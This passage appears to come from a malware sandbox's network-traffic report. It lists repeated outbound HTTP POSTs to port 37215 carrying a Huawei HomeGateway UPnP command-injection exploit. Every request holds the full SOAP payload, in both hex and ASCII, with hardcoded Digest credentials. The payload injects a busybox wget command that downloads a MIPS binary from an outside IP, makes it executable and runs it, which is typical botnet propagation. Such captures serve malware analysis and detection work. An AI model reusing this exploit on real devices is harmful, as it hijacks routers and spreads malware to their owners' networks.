HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:37.948528051 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.13	44172	156.247.30.143	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:53:42.559871912 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:44.124600887 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:45.948580027 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:49.820529938 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:57.244519949 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:11.836637020 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:42.044517994 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.13	52170	156.241.10.104	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:53:42.559943914 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
